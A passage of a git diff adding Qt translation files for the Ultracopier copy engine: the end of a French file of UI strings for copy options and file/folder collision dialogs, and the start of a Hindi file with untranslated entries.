+ <source>Keep the file date</source>
+ <translation>Garder la date du fichier</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation>Démarrer automatiquement le transfert</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation>Moins de performance si coché</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation>Suivre l&apos;ordre strict</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation>Erreur et collision</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation>En cas d&apos;erreur de répertoire</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation>En cas d&apos;erreur de fichier</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation>En cas de collision de fichier</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation>Lors d&apos;une collision de dossier</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation>Vérifier si le répertoire de destination existe</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation>Règles de renommage</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation>Supprimer les transferts partiels</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation>Renommer la destination originale</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation>Controle</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation>Somme de contrôle</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation>Seulement après erreur</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation>Ignorer si impossible</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation>Vérifier les sommes de contrôles</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation>Performance</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation>Buffer paralléle</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation>Ko</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation>Taille de bloc</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation>Buffer séquentiel</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation>Activer le tampon de l&apos;OS</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation>Tampon de l&apos;OS seulement si plus petit que</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation>Algorithme de transfert</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation>Parallèlise si plus petit que</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation>Thread d&apos;inode</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation>Plus de cpu mais meilleur organisation sur le disque</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation>Ordonner la liste</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation>Divers</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation>Vérifier l&apos;espace disque</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation>Utiliser ce dossier quand la destination n&apos;est pas défini</translation>
+ </message>
+ <message>
+ <source>Use this folder when destination is empty</source>
+ <translation type="obsolete">Utiliser ce dossier quand la destination est vide</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation>Parcourir</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation>Filtres</translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation>Erreur avec un fichier</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation>Erreur</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation>Taille</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation>Modifié</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation>Nom de fichier</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation>Destination</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation>Dossier</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Toujours faire cette action</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation>Essayer avec des priviléges suppérieurs</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation>Mettre à la fin</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation>Réessayer</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Passer</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annuler</translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation>Le fichier existe</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Source</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Destination</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation>Taille</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation>Modifié</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation>Nom de fichier</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation>Dossier</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Suggérer un &amp;nouveau nom</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Toujours faire cette action</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation>Écraser si les dates différes</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Renommer</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation>&amp;Écraser</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Passer</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annuler</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation>Écraser si plus récent</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation>Écraser si plus vieux</translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation>Taille</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation>Modifié</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation>Nom de fichier</translation>
+ </message>
+ <message>
+ <source>The source and destination is identical</source>
+ <translation type="obsolete">La source et la destination sont identique</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation>La source et la destination sont identique</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation>Dossier</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Suggérer un &amp;nouveau nom</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Toujours faire cette action</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Renommer</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Passer</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annuler</translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Source</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Destination</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation>La source et la destination sont identique</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation>Modifié</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation>Nom de répertoire</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation>Dossier</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Suggérer un &amp;nouveau nom</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Toujours faire cette action</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Renommer</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation>Fusionner</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation>Passer</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annuler</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/hi/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/hi/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/hi/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
